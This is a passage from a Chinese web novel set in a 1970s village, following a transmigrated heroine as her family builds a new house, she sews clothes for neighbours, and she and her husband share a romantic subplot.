谢晚棠轻咳一声,从傅青山怀里下来,虽然被孩子们看得害羞,但还是压不住嘴角的笑意:“太高兴了,今晚必须得好好庆祝!白面大肉饺子整起来!” 说干就干! 兰兰去和面,傅青山切肉,二刚洗白菜,小刚和妞妞帮着把炕桌、面板、饺子盘、擀面杖拿上炕摆好,谢晚棠泡上虾皮,让大刚去自留地多摘几根大葱回来。 白菜肉里放点大葱更有滋味,大葱烫一烫再拌个虾皮,就着饺子吃还下饭。 忙碌完准备工作,全家一起上炕围着桌子包饺子,兰兰揉面切块,妞妞帮着撒面按压成小圆,谢晚棠接着擀皮,傅青山带着三个刚包。 包到一半,大刚很有时间下炕去抱草进来引火烧水,等炕上他们饺子包完,水也刚好烧开了,大刚过来端过去下饺子。 全家齐上阵,不到一个小时,就吃上了热乎乎香喷喷的白面大水饺。 谢晚棠突然感觉,现在要是有个饮料该多好啊,大家一起举杯庆祝新生活即将到来。 没有饮料也没有酒杯,谢晚棠端起手边的饺子汤碗:“就以饺子汤代酒吧,庆祝咱们家可以盖大房子咯~” 傅青山闻声笑了,配合地端起饺子汤,大家一起碰碗欢呼。 饱饱地享受完饺子盛宴,大家摸着肚子围坐在炕桌一圈,一起规划着新家。 整体设计是谢晚棠的意见,主屋是三居室,当门里搭两个锅台,冬天取暖方便,平常做饭也可以一起做节约时间。 天井里就不建南屋了,中间直接用石板铺上一条路隔开,左边是大刚的菜园、鸡栏鸭栏和小狗棚,右边则规划一个小花园和三条晾衣绳,靠近大门口的地方是厕所。 至于三个卧室的具体设计,谁住就谁来设计,完全民主自由。 三个刚倒是没什么特别要求,兰兰和妞妞两姐妹已经开开心心地开始规划自己的小房间了。 翌日。 傅青山请了假要去镇上采买盖房子的材料,谢晚棠看孩子们上次买的小人书都已经翻得滚瓜烂熟了,现在连最小的妞妞都认识近百个字了,她又去找夏知青借了自行车,让傅青山去把大队部的自行车也借回来,一家七口一起去镇上。 到了镇上,大家兵分两路。 谢晚棠带着孩子们去买书,玉秀二哥傅青林后天结婚,她还得去供销社买脸盆和毛巾回礼。 傅青山去砖厂采买建筑材料,大刚跟着他一块去了,大家约好中午饭点的时候在国营饭店回合,一块吃了饭再回去。 谢晚棠和兰兰一人骑一辆自行车,带着二刚小刚和妞妞先去了书店,还是每个人可以选一本书,二刚替大刚捎着他的那本。 付钱的时候,二刚跟书店经理砍价,“经理,我们家每次都买这么多书,以后也是要常常来买的,您不给便宜点?” 没想到二刚还有这头脑,谢晚棠也跟着二刚笑道:“对啊经理,给我们便宜点吧!” 这年头书店虽然也是公家的,但看书的人少,相比供销社、国营饭店,生意属实是冷清,整个书店只有一个光杆经理。 经理看二刚虽然年纪不大,但人透着一股精灵劲儿,笑道:“公家的生意,价格我不能改,不过那边有些要清理的书,你们看看有没有喜欢的,可以送你们两本。” 一听说免费送,孩子们马上跑过去看,角落里堆着很多书,乱七八糟地摞在一起,都是些各行各业的技术类书籍,什么《无线电设备元件零件的设计与制造工艺》、《农田水利与泵站工程》、《服装裁剪入门及版样50例》、《赤脚医生手册》、《农民种植手册》、《母猪的产后护理》、《十万个为什么》……等等。 三个小的翻了一圈都没有小人书故事书,就不太感兴趣了。 倒是兰兰,惊喜地抽出来那本《服装裁剪入门及版样50例》,如获至宝。 谢晚棠翻开那本《农民种植手册》看了看目录,讲得是各种农作物的养殖技术,大刚应该会喜欢,到时候盖起来新家,他的小菜园更大了,施展的空间大着呢。 不过那本《十万个为什么》她也想要,小时候爸爸就带她读过,里边讲了很多科学小道理,不仅可以让孩子们学习物理、化学、地理、生物等各个学科的知识,还能开阔视野,可以极大地弥补这个年代教育的缺失,培养孩子们对知识的好奇和渴望。 谢晚棠回头问经理:“经理,您这些书都太好了,可以送我们三本吗!” 那些书现在都没人要,经理倒也大气,大手一挥:“现在愿意看书的人少了,难得你们家是它们的有缘人。” 谢晚棠开心:“太谢谢您了经理!” 买五送三,谢晚棠高兴地去付钱,一家人开开心心地出了书店,骑车去供销社。 谢晚棠一进供销社,两个售货员就认出她来,笑着招呼她:“来了,部长没一起来?” 谢晚棠笑着走到卖结婚用品的柜台,随口道:“他有点事。” 谢晚棠和兰兰妞妞今天都穿着布拉吉配着小皮鞋,售货员打量她们三个:“这就是上上次你从这割的的确良?这布拉吉怪好看的,像买的成衣似的,去哪儿做的?” 谢晚棠:“我自己做的。” 售货员震惊:“你还有这样的好手艺?” 谢晚棠笑笑,这就算好手艺了?姐姐的手艺还有很多没展示呢,没准以后全国人民都要穿姐姐的手艺哦。 买上一个红脸盆,两个红毛巾,要付钱的时候,售货员道:“过完节月饼便宜了,每块便宜了5分,你要吗?” 家里孩子多,看着买回去好几包,分到每个人嘴里,也就两三块。 每块便宜了5分,也相当于七折了,价格很合适,谢晚棠看了看,确定没有坏,果断拿下5包,给孩子们解馋吃。 从供销社出来,谢晚棠打开一包月饼,一人一块分了吃了有劲了,才骑车去黑市,买点猪下水晚上回去炒着吃。 谢晚棠去敲门,开门的却不是光头杀猪男,是一个看起来比大刚大不了多少的青年,长得有傅青山那么高,就算谢晚棠阅男无数,也不得不承认他是个帅气青年。 就算穿着杀猪的白围裙,一身猪油,也难掩姿色。 青年皱眉打量她,谢晚棠自我介绍:“我之前来买过,认识你们这那个光头帅哥。” 光头听到自己被叫帅哥,探头一看:“是你啊,还要大肠?” 谢晚棠笑着点头:“还有吗?” 光头说有,对那个帅气青年道:“子夜,去拿大肠。” 青年话不多,脚下麻利,转身朝屋里走了。 谢晚棠:“这是谁啊?以前没见过呢。” 光头回头看了一眼:“子夜啊,我徒弟,刚来没多久,人挺勤快的。” 说话间,那个叫子夜的帅气青年已经把大肠包好了递给谢晚棠,布拉吉没有兜,钱放在兰兰背的布包里,谢晚棠把大肠放车筐里,叫兰兰去付钱。 光头里头还忙着,吩咐徒弟收下钱就进去了。 兰兰把钱递过去的时候,一个仰头,一个垂眸,视线对上的那一刻,两人几乎同时怔住,片刻后又心有灵犀地同时红着脸偏开头。 青年接过钱,回去找了零送出来,兰兰从他修长却粘满油渍的指尖接过零钱揣进包里,礼貌点头:“谢谢。” 青年“嗯”了声,听不出情绪,在兰兰转身的时候又说了句:“再来。” 兰兰点头,回去骑上车子,带着弟弟妹妹们出发,骑出去十几米后,抿唇回头,看到青年还站在门口看着他们,直到车子拐出小胡同再也看不见。 谢晚棠买了大肠、鸡蛋、花生油,看看时间差不多了,就去国营饭店集合,傅青山和大刚还没到,他们先点上菜,这样一会儿都到齐了就不用等了。 菜上得差不多了,傅青山和大刚才姗姗来迟,谢晚棠看大刚神色有些不自然,问傅青山:“买材料不顺利?” 傅青山摇头:“都办好了。” 谢晚棠这才放下心来,把那本农业种植的书拿给大刚看,大刚果然喜欢,当场就翻看起来,不过就是看书的时候还皱着个眉头,一脸愁容,不知道怎么了。 吃过午饭,骑车回下沟村,拉砖的车也紧随其后,送到房场处卸下。 趁傅青山去看着卸砖还没回来,谢晚棠把大刚拉到炕间问:“怎么了?上午跟你爹一起,他训你了?” 谢晚棠一问,大刚立马摇头,不过眉头皱着更深了。 谢晚棠更好奇了:“那到底怎么了?你这一脸苦大仇深的。” 大刚纠结了一会儿,低声跟她道:“我爹上午买完砖去医院了。” 医院? 谢晚棠皱眉:“你爹病了?!” 大刚摇摇头:“不知道,反正挂的妇科。” 谢晚棠:“……” 又是妇科……那肯定没病。 大刚指指傅青山放在炕上的包:“好像还拿的药。” 还有药?给她拿的? 谢晚棠拿过包一摸,果然有东西,难道是治痛经的药? 拉开拉链,伸手摸到,拿出来一看——避孕……套??! 大刚就在身后,谢晚棠眼疾手快,指腹一下子摁住那几个字塞回包里,脸瞬间通红,回头对大刚轻咳一声:“没事,你爹去给我拿的药。” 大刚没看到是什么药:“给您用的?” 谢晚棠:“……” 好吧,算是给她用的…… 谢晚棠点头,大刚长舒一口气:“我以为我爹得了什么怪病呢!一个大男人去看妇科!” 话落,又担心地看她:“娘,您的身体——” 谢晚棠脸烫得不行:“没事,就是肚子疼,开点药吃就好了。” 大刚这才放下心来,眉头也终于舒展开了。 大刚脚步轻快地出去,谢晚棠又摸出来包里的东西看了一眼,真的是避孕套。 没有孩子在,谢晚棠倒没什么害羞的,就是觉得,傅青山看着表面清清冷冷的,实则内心也是跟她一样按捺不住了,房子还没开始盖啊,避孕套就早早买回来备着了。 不过,他们还需要用这东西吗? 傍晚傅青山回来的时候出了一身汗,在外边压井水冲过上身后进来换衣裳,谢晚棠把炕间的门关上,拿出他包里的避孕套:“你买这个干什么?” 傅青山光着膀子,衣服还没来得及套,就看到谢晚棠手上拿着避孕套,他怔了下,片刻后耳朵尖发红,解释道:“这个叫避孕套,同……同房的时候戴上,就可以避免怀孕。” “……” 她不是不认识避孕套啊!她是问买这个干什么啊! 考虑到傅青山男人的尊严,谢晚棠尽量委婉措辞:“我的意思是,我们还得用避孕套?” 傅青山垂眸看她:“你不是说不想生孩子吗?大夫说只要有夫妻生活就有可能会怀孕,如果不想生孩子,要万无一失,就得戴这个。” 大夫说的当然没错。 谢晚棠是觉得,傅青山那方面不是有问题嘛,那不就相当于天然地避孕了?还用得着带套? 不过傅青山说到万无一失,谢晚棠一想,也是,万一劣质精子意外冲进来和她的卵子结合了呢,听说活力不好的受精卵很容易胎停流产,非常伤身体。 谢晚棠点头:“也是,还是你比较谨慎。” 第55章 傅青山急不可耐地吻了上去。 聊的时候没觉得,聊完谢晚棠突然感觉,光天化日的,两人居然就这么直白地讨论夫妻生活带不带套这种隐秘话题……他们可是连对方身体都没看过的纯洁夫妻啊! 谢晚棠脸发烫,轻咳一声:“那个,我先收好,别让孩子们看见。” 寻摸一圈,感觉还是她陪嫁的大樟木箱子保险,掀开箱子,把避孕套塞到箱子最底下压住,保证万无一失不会被发现,现在家里的孩子读故事书读的,个个都识字,谁要是不小心发现了给念出来,那真是要夭寿了T-T 谢晚棠弯着腰,整个上半身都要探到箱子里,衣服被带上去,露出整节白皙纤细的腰肢,晃得傅青山移不开眼,刚冲过凉的身体又燥起来。 谢晚棠摸索着放了好久,才起身盖上箱子转过身来,傅青山再也忍不住,扔了手上还没来得及套的衣裳,一把抱住谢晚棠,急不可耐地吻了上去。 秋收又忙又累,两人已经很久没有好好亲热了,素了许久的身体一点就着,谢晚棠愣了下,就已经被傅青山强势地攻城略地,她也不甘示弱,伸手回抱住傅青山结实光裸的脊背,垫起脚尖,仰头迎了上去。 小刚和妞妞还在天井里跑着逗小黑玩,时不时从窗棂前跑过,他们必须紧紧地贴着炕间的门,才不会被小刚和妞妞看到。 听着兄妹俩爽朗的笑声,谢晚棠心脏砰砰砰狂跳,那种生怕被看到的紧张感莫名地让这场久违的吻更加刺激…… 怪不得古人说妻不如妾,妾不如偷。 他们是夫妻,做点夫妻事却得偷偷摸摸,虽然难耐,但竟也别有一番味道。 犹如久旱逢甘霖,两人缠绵许久,仿佛忘记了时间的存在,直到听到大门响动,传来二刚的声音,傅青山才不舍地结束这个长吻,下巴抵在她右肩头,叹了口气。 这种被吊在半空中不上不下的感觉很难受,谢晚棠感同身受,她轻轻拍拍傅青山的背:“快了,二哥。” 房子盖好了,就不用这么小心翼翼了。 听着二刚的声音越来越近,傅青山也不敢再磨蹭,“嗯”了声,不舍地放开她,长臂一伸,拿过扔在炕上的衣裳兜头套上。 邻村的工程队傅青山早已经联系好,水泥、砖、沙子等材料也都拉回来了。 翌日一早,工程队就用四辆驴板车拉着家把什进村,直接到房场开工了。 农忙过去,村里社员吃过饭都上街溜达,工程队进村,一看就是给傅青山家盖房子的,村里目前就只有他家有钱盖得起新房子。 村里几乎家家户户都是三代同堂挤在一起,看傅青山和谢晚棠能盖新房搬出去出,没一个不羡慕的,偶尔有几个阴阳怪气说酸话的,也是羡慕过了头,小心眼嫉妒罢了。 傅青山跟工程队长交代好,他还得去上班,留下大刚帮忙。 中午需要管饭,工程队大工小工加起来一共8个人,再加上家里的6口,中午就得做14个人的饭,兰兰一个人肯定忙不过来,傅青山又不放心让谢晚棠干下厨的活,怕她割了烫了,便去找傅大嫂帮忙。 傅青山说明来意后,傅大嫂一口应下:“放心吧青山,现在地里不忙,我在家闲着也是闲着,中午我去和兰兰一块做。” 傅青山掏出两块钱给她:“大嫂,工程队在这大概得一个月时间,就麻烦你了。” 傅大嫂没想到做个饭傅青山居然还要给钱,一把把他手推回去:“这多大点事,不用!盖房子处处是花销,你省着点花,做个饭我就顺带手的事,不准弄这些见外的事。” 分家这些日子,她跟谢晚棠处得不错,谢晚棠帮她做立春和傅大哥的衣裳,平时还时不时给她送东西,她虽然缺钱,但也不能要傅青山这钱。 傅青山不是那种推来推去墨迹的性格,傅大嫂态度坚决,他也没再硬给,点点头走了。 14个人的饭不是个小数,赶上大锅菜了,傅大嫂半头晌就过来和兰兰一块准备了。 秋收分的黄豆,傅大嫂带了自己做的豆腐过来,谢晚棠早晨听傅青山说了傅大嫂中午过来帮忙,闻声放下手里的活出来,跟傅大嫂说多做点,做好了端回去吃,就不用回去再做了。 两人处得熟了,傅大嫂也不见外,点头哎了声:“那我回去拿点二合面过来。” 谢晚棠拉住傅大嫂:“青山说了,给你钱你不要,你*这还带过来豆腐,不让我们见外,你也不准见外,二合面家里有。” 傅大嫂虽然脾气软好说话,但骨子里也是个爽快人,见谢晚棠都这么说了,她也没再墨迹,放下豆腐洗手:“好!” 加上傅大嫂家5口,一下做19口人的饭,着实是个不小的量。 有傅青山的交代,当门里的活傅大嫂不放心她干,谢晚棠就出去压了井水,帮着洗菜。 中午烀二合面饼子、炖一锅白菜豆腐粉条、一锅土豆焖茄子,再拌一盆黄瓜。 谢晚棠对19个人的饭量一点数都没有,回头朝当门问道:“大嫂,白菜洗多少?” 傅大嫂:“三个吧。” 谢晚棠:“好。土豆呢?” 傅大嫂:“土豆洗20吧,茄子一炒不出数,那一堆都洗上吧!黄瓜不垫饥,也都洗上吧!” 谢晚棠把点好的菜都搬到压井旁,白菜一大盆,土豆一大盆,茄子一大盆,黄瓜一大盆。 白菜和土豆是分家分的,茄子黄瓜是傅青山今早和大刚从傅大娘家自留地里摘回来的,她还以为能吃几天呢,没想到这居然就是一顿的量! 这样下去,傅大娘家的自留地用不了一周就能被他们家吃空了。 她正愁着,傅大嫂道:“没事,我们家地里菜不少,一块凑吧着吃。” 谢晚棠闻声点头,放下心来。 白菜、土豆、茄子好洗,叮咣一顿搞定。 早晨刚摘的黄瓜刺还新鲜着,谢晚棠在水里一撸,疼得嗷一声,手心里火辣辣的,翻过手来一看,手心被黄瓜刺磨得通红。 傅大嫂切好豆腐、泡上粉条,闻声出来一看,可算知道傅青山为什么去找她过来帮忙了,这要是指着谢晚棠做上一个月的大锅饭,手都得磨秃噜皮。 傅大嫂拍拍谢晚棠的肩膀让她起来,她坐下捋着黄瓜叮咣一顿出溜,一盆黄瓜马上洗好。 谢晚棠震惊:“大嫂你手不疼吗?” 傅大嫂摊开掌心给她看:“我们都有老茧,没什么感觉,你这手太嫩了,干不了这些粗活,这里不用你了,你快进去做衣裳去吧,还是那种精细活适合你。” 傅大嫂说着就拿刀熟练地开始给土豆削皮,兰兰在里边活面,谢晚棠确实帮不上忙,就进屋去做衣裳,到开饭的时候,傅大哥的衣裳做好了。 傅大嫂做好了饭,大刚回来拿,傅大嫂打发大仓二仓帮着大刚一起去送。 傅大哥过来帮着往家端菜,谢晚棠正好让傅大哥进来试了衣裳,大小合适,刚好一起带回去。 歇过晌,谢晚棠起来给孩子们的秋天衣裳也缝上扣子收了尾,听到有敲门声,小刚跑过去开门,“郭姨!娘,郭姨来了!” 谢晚棠闻声出去,见郭燕身后还跟着两个没见过的中年妇女,不是下沟村的。 谢晚棠打招呼:“燕姐,这两位是?” 郭燕笑着介绍:“这是刘队长,这是许主任,上沟村的宣传队长和妇女主任,我们去镇上开会常见,你给我做的衣裳她们可喜欢了,之前秋收忙顾不上,这不一闲下来,就拿着布让我带着来找你做衣裳了!” 谢晚棠没想到这么快就传到了邻村,郭燕这宣传队长果然宣传力度大! 自己做的衣服能被人认可,谢晚棠自然高兴,招呼人进来。 这年头投机倒把查得严,个人之间不兴给钱,上沟村产山核桃,刘队长和许主任一人带了一包山核桃给谢晚棠作谢。 秋装和夏装不同,夏天穿得宽松慵懒有一种休闲感,秋天里边还要穿秋衣,外衣修身一点才不会臃肿,而且两人都是做领导的,裁得合身立整一些更符合身份。 沟通过版型后,谢晚棠给两人量尺记下尺寸,约好大概时间,到时候让郭燕去镇上开会的时候捎过去试试,不合适的地方还可以改。 郭燕她们走后,谢晚棠让兰兰把小刚和妞妞叫进来,一起砸山核桃吃。 两个小的一听这是娘给人做衣服挣的好吃的,高兴地直夸她厉害。 她们吃完,又给傅青山和大刚二刚砸了一些核桃仁,等他们回来吃。 吃完山核桃,谢晚棠斗志昂扬开始做衣裳,兰兰下午不忙,好奇地跟在旁边看,谢晚棠就一边裁一边给她讲,兰兰听得很认真,不时点头。 裁完第一身,谢晚棠把划粉和尺给兰兰,让她按照刚才讲的来试试,兰兰开始不敢下手,谢晚棠鼓励她:“没事,划粉划错了可以擦掉,大胆试,还有我呢,放心!” 兰兰被鼓励,用力点头:“那我试试。” 兰兰毕竟看过书,不是零基础,又有她带着实操,很快就上手了,除了个别袖窝、领口的位置需要微调,其他的都没问题。 谢晚棠给她竖起大拇指:“兰兰,你在做衣服方面很有天分!” 兰兰感觉一下子斗志满满,扬起唇角:“以后我帮娘一起做!” 谢晚棠笑着点头:“那可太好了!” 晚上傅青山下班回来带回来两斤猪肉,让兰兰切一半留着明天吃,另一半分成两份,一份今晚炒菜,另一份给傅大嫂送过去。 兰兰点头,突然想到什么,抿唇问道:“还是去黑市那家买的?” 傅青山被问得怔了下,点了点头。 整个大沟镇就那一家卖猪肉的,除了供销社要用票买的肉,平常想吃肉,都得去那儿买。 傅青山抬眸看了一眼,兰兰像被看穿一般,脸有些发烫,赶紧转过身去切肉。 傅青山进来跟谢晚棠打了个招呼,要先去工地看看,妞妞把扒好的山核桃仁给傅青山,小刚主动解释是娘做衣裳挣的山核桃。 傅青山闻声看谢晚棠,谢晚棠笑道:“郭队长领着邻村的宣传队长和妇女主任来做衣裳,给带的。” 傅青山点头:“别太累。” 谢晚棠嗐了声:“做两身衣裳有什么累的。” 确实,做喜欢的事就不会觉得累。 傅青山没再说什么,领着妞妞和小刚去工地。 谢晚棠把猪肉给傅大嫂送过去,傅大嫂惊得不行,立春直舔嘴唇。 农村一年到头吃不了几回猪肉,只有逢年过节,大队部才会杀猪分猪肉。 以前傅青山的钱交给傅老太的时候,家里基本每个月都能吃两次肉,但一般都是男人吃,傅大嫂只能跟着沾点肉汤。 傅大嫂不好意思要,谢晚棠找了个盆给她放下:“大嫂你要是不好意思要,那明天我都不好意思找你过来帮忙了!” 说完,谢晚棠摸摸立春的头:“我先回去了大嫂。” 傅大嫂只是觉得也不是农忙,在家闲着也是闲着,而且分家这事傅青山和谢晚棠也对她帮助不少,她想报答两口子,然而这两口子更不是占便宜的人,回馈给她的永远比她做的更多。 傅大嫂深吸一口气,调整好心态,高兴地对立春道:“和面,咱们今晚包肉饺子吃!” 立春高兴得欢呼:“耶!吃肉饺子了!” 后天支书家的老二傅青林要结婚,傅老太过去帮忙了,就老三媳妇在家,刚才谢晚棠过来送猪肉,两人推辞的工夫,都被老三媳妇听了去。 如今听着立春喊要吃肉饺子,老三媳妇撇撇嘴,还不是拿着豆腐去舔么谢晚棠,又出工又出力得,才换回来这么点猪肉,又什么好高兴的。 傅大嫂没谢晚棠那么阔,她用不起白面,就用二合面活的饺子面,下出来的饺子黄橙橙的,也很香。 傅老太回来,闻着饺子的香味,还不知道里边是肉馅,就满眼放光,没话找话道:“老大家的,今天怎么突然吃起饺子了?” 傅大嫂自然明白傅老太什么意思,无非就是想让她主动说一起吃,但她就包了五个人的量,而且以前没分家的时候,家里吃点什么好的,傅老太从来都不给她一点。 虽说百善孝为先,但是手都动过了,家都分了,按份例养老就是,其他的她一点也不想叨叨,于是闻声都没回头,随口应了声:“想吃就包。” 傅大嫂随口一句,傅老太却听出别的味,哼了声:“这是抱怨没分家的时候捞不着吃呗?” 傅大嫂本没这意思,但听傅老太阴阳怪气的,她也没了往日的好脾气:“没分家的时候就是捞不着吃啊,现在分了家了,想吃就包。” 说完,也不理会傅老太,端着饺子带着立春去西间炕上关上门,等傅大哥和大仓二仓回来。 傅大哥没农活不忙,也带着大仓二仓去工地帮忙,跟傅青山一块回来的,一进门就看到他娘在当门里摔摔打打地做饭,他问怎么了,他娘就拉耷个脸让他去问傅大嫂! 傅大哥推开西间的门,闻着香喷喷的饺子,肚子饿得咕噜叫了一声,“娘怎么了?看着不高兴。” 傅大嫂给每个孩子叨碗里饺子,不冷不淡道:“娘除了收钱,什么时候高兴过?” 傅大哥现在也学会一点察言观色,看傅大嫂也不怎么高兴的样子,就没敢再多问。 傅大嫂让大仓把门关上,眼不见心不烦,一家子围坐在小炕上肉饺子。 傅大哥一口咬下去,发现竟然是肉饺子:“哪来的肉?” 傅大嫂:“弟妹送来的。” 傅大哥:“哪个弟妹?” 傅大嫂无语:“还能是哪个弟妹?当然是老二家的!” 傅大嫂跟傅大哥说让他明天早晨带着大仓二仓,去地里多摘点菜回来给老二家送过去,傅大哥点头应着。 傅老太在当门烧火的时候竖起耳朵听西间的动静,一直没听到傅大哥跟傅大嫂吵吵,气得摔了烧火棍,又一个没用的儿子! 中午还剩了一小块豆腐,谢晚棠晚上拌了个小葱豆腐,又和小刚妞妞一起从大刚的小菜园里摘了菠菜洗了,兰兰做了个菠菜粉条炒肉,又下的手擀面。 晚上吃饭的时候,二刚美滋滋道:“我回来的时候碰着郭燕姨和支书大爷爷说,明晚宣传队在大队部放电影!” 这个年代农村没有电视,大人们吃过饭上街聊天,孩子们更是没什么娱乐,是而放电影是孩子们最喜欢的活动。 兰兰说明晚早做饭,吃完饭就早早去占座。 谢晚棠闻声,偏头看傅青山,和傅青山心有灵犀地对上视线。 第56章 不是受过伤吗?为什么还会这么…… 孩子们在讨论明晚谁腿脚快先去占座,并没有注意到他们俩视线里那股甜腻腻的黏糊劲儿和空气里的暧昧旖旎。 一直到洗漱完上炕躺下,谢晚棠都两眼铮亮,毫无睡意,视线总是不经意就落到那个大樟木箱子上,好像能透过厚厚的箱体,看到压在箱底的那包小东西。 傅青山难道有未卜先知的异能吗? 她昨天还笑傅青山急不可耐,房子还得一个多月才能盖好,就早早买回来避孕套,有什么用? 结果明晚就要用上了! 兴奋的爱情荷尔蒙虽然促使着她想和傅青山更亲密地接触,但无论是前世还是这一世,她都是第一次,对明晚即将发生的事情,让她强烈的好奇,又不可避免的产生一丝焦虑。 两种极端的情绪同时控制她,让她精神异常兴奋,难以入眠。 谢晚棠昨晚后半夜才睡着,睡得晚醒得也晚,一觉醒来,窗外的日头都升起来了,抬手一看表,居然都9点多了?! 70年代没有夜生活,人们日出而作日落而息,作息非常健康。 自从穿书过来,谢晚棠也被迫跟着早睡早起,早已养成了前世不可想象的优秀生物钟,没想到今天居然会一觉到这个点。 谢晚棠下炕的时候,兰兰正在天井里削南瓜皮,听到声音回头:“娘,你醒了,饭给你留锅里了。” 以前放假在家不上班的时候,谢晚棠蒙头睡到10点,11点的时候也有的是,就算是睡到12点,也不是什么稀奇的事,妈妈顶多念叨她几句,她也不放在心上。 如今自己也当了妈,孩子早早起来干活,她却在炕上睡到日上三竿,不禁有些脸红,尴尬地抿了抿唇:“哦,你爹上班去了?” 傅青山怎么不叫她啊。 兰兰点头:“爹说你昨晚没睡好,让你多睡会儿,别吵着你,小刚和妞妞就领着小黑上街去玩了。” 谢晚棠闻声愣住,傅青山怎么知道她昨晚没睡好? 除非……傅青山昨晚也没睡好? 一想到傅青山那样冷面冰山的大佬人物也会因为今晚即将到来的第一次而失眠,谢晚棠唇角扬起,她终于有一方面可以跟大佬看齐了哈哈哈。 洗漱完吃过早饭,谢晚棠帮着兰兰一起洗菜。 除了兰兰已经削好皮的南瓜,还有一盆菜椒、一盆茄子、一盆芋头。 芋头是秋收完刚分下来的,又能当菜又能当饭。 兰兰说其他的都是傅大哥和傅大嫂一早去自留地里摘了送过来的,解了她家缺菜的燃眉之急。 洗好菜椒和茄子,谢晚棠和兰兰一起刮芋头,这种手工活谢晚棠还是很有天赋,不会儿就熟练地掌握了刮芋头的技巧,就是刮完洗了手,就感觉手心手背上的皮肤都开始发痒,挠了几下不仅没有缓解,反而越挠越痒。 谢晚棠皱眉看着自己挠红了的手,想起以前帮妈妈削过一次山药皮,削完手也是痒的不行,难道芋头和山药这些黏糊糊的东西,都会刺激皮肤吗? 她记得当时用香皂、用洗洁精怎么洗都不好使,后来还是上网查着用电吹风吹一吹,电吹风的热度可以破坏粘液里的刺激性物质,缓解瘙痒。 问题是这年代也没有电吹风啊。 手越来越痒,像有万千小蚂蚁在上边爬来爬去,难受刺激着大脑被迫高速转动,谢晚棠抬眼突然看到锅台,没有电吹风,那用火烤一烤不也是高温有热度嘛,应该也有用吧? 谢晚棠赶紧把锅里添上水,抱草来引火,兰兰奇怪:“娘,你现在烧火干嘛?” 谢晚棠搓着瘙痒难耐的手:“我好像对芋头过敏,手特别痒。” 每个人肤质不同,兰兰刮芋头就没有任何感觉,看谢晚棠手都挠红了,挺厉害的样子:“试试用肥皂多洗几遍呢?” 谢晚棠摇头:“洗了三遍了也不行,越来越痒,可能得用火烤一烤才行。” 兰兰虽然感觉手痒用火烤好像不太靠谱,但现下也没别的法子,赶紧过来帮着引火,等火着起来,谢晚棠把手靠近锅门口,两只手活动着烘烤,随着手逐渐被烤热,手上的瘙痒也开始逐渐减轻。 傅大嫂带着老三媳妇一起过来,看到谢晚棠在烤手,奇怪道:“晚棠,你这手冷?” 谢晚棠闻声回头,看到老三媳妇也在,不过看着没有平日里的尖酸样儿,也一脸奇怪地看她。 谢晚棠感觉手烤得差不多了,起身嗐了声:“刮芋头过敏,刚才手痒的不行了,烤烤火才好了。” 傅大嫂跟兰兰一样,也是对这种粘液质东西没感觉的幸运儿,倒是老三媳妇一听,惊讶道:“真的?我每次刮芋头也是痒的不行,前天痒得恨不得把手剁了去。” 谢晚棠点头:“咱的皮肤对这种粘液过敏,就会痒痒,下次你也试试,烤烤就不怎么痒了。” 老三媳妇点头:“下次我试试!” 说着,把手里端的一大盆小豆腐放桌上,有点不好意思道:“二嫂,我自己做的苔菜小豆腐,中午也给你凑个菜吧,你别嫌弃。” 谢晚棠虽然没那么爱吃小豆腐,但老三媳妇主动来送小豆腐,她当然不会嫌弃。 不过老三媳妇一直跟她针锋相对,突然主动来示好,她也不大明白这是什么意思,看向带老三媳妇过来的傅大嫂。 傅大嫂笑道:“晚棠,现在农闲,三弟妹在家也不忙,也愿意来帮着你干活。” 谢晚棠稍微一想就明白了,老三媳妇和傅大嫂住一个院,自然是看到傅大嫂来帮忙得的好处,所以也想来跟着帮忙。 虽然想法有些功利,但谢晚棠觉得,老三媳妇能从之前觉得可以理所当然地来蹭鸡吃,到现在认识到要付出劳动才能得到回报,这已经是很大进步了。 而且还主动带来了小豆腐,态度也很好。 人非圣贤孰能无过,谢晚棠也不计较老三媳妇之间带着一家子来蹭鸡吃的事,笑着欢迎:“那就先谢谢弟妹了!正好大嫂和兰兰忙不过来。” 老三媳妇来之前怕谢晚棠拒绝,特地找了傅大嫂带她来,想着谢晚棠要是说什么,还能让大嫂帮着说说话,没想到谢晚棠不计前嫌,笑脸相迎,瞬间心情大好,撸起袖子:“不早了,我们先做什么!” 傅大嫂和谢晚棠对视一笑,开始准备午饭。 老三媳妇带来的苔菜小豆腐是一个菜,再用肥肉练练油炖个南瓜芋头,锅边正好烀上玉米面饼子,菜椒炒个瘦肉丝,茄子蒸了用大蒜拌个凉菜。 和面的和面,切菜的切菜,扒蒜的扒蒜,三个人在当门忙活着,谢晚棠在炕间给上沟村的刘队长和许主任做衣裳。 中午吃饭的时候,谢晚棠也让老三媳妇也和傅大嫂一样,每样菜盛上一盆带回去吃,就不用再回去忙乎着开火了。 老三媳妇虽然忙乎了半上午,但端着肉菜往回走的时候,心里还是美滋滋的,一点都不觉得累! 以前跟着婆婆的时候,反正累死也吃不上口好的,她才不像大嫂那样傻乎乎地干呢。 分了家,她家老三也没本事,虽然过得比没分家之前是强点,但跟谢晚棠一比,还是一个天上一个地下。 如今帮着谢晚棠干点活,根本就没有多累,谢晚棠居然这么大方,菜椒炒肉也给她这么一大盆! 回家傅老三和大柱二柱惊讶地问她肉哪儿来的,她骄傲地挺起胸脯:“我干活挣的!” 从来没觉得这么有底气过! 下午谢晚棠把刘队长和许主任的两身衣裳都做好了,就差剪线头、缝扣子和烫熨了。 在缝纫机前坐了半下午,颈椎腰椎都酸的不行,听到门响,谢晚棠起身伸了个懒腰抻了抻酸痛的肌肉,走到当门看到傅青山推门进来,车筐装了满满一袋子。 小刚和妞妞跑过去帮他往下拿东西,傅青山抬头道:“今天猪肉卖完了,买的猪下货。” 谢晚棠笑着从两个小的手里接过来:“猪下货更有滋味。” 傅青山把东西放下,要去工地看看情况,两个小的跟着他去了。 谢晚棠把那袋子猪下货倒出来一看,猪肠子、猪肝、猪心、猪肚、猪舌头,样数还不少呢,谢晚棠去正屋叫傅大嫂和老三媳妇过来:“也不知道你们爱吃啥,你们看看想吃什么自己挑。” 除了大队杀猪,平常傅大嫂和老三媳妇哪见过这么一大盆猪下货,这几乎是一整头猪的下货了。 老三媳妇舔舔嘴唇,其实谢晚棠随便给哪样,她都喜欢,更别说还让她自己来挑。 傅大嫂犹豫:“昨天晚上和今中午刚吃了肉,要不这猪下货留着明天再吃吧!” 她怎么也想不到,跟着谢晚棠,几乎也过上了顿顿吃肉的日子!以前想都不敢想的。 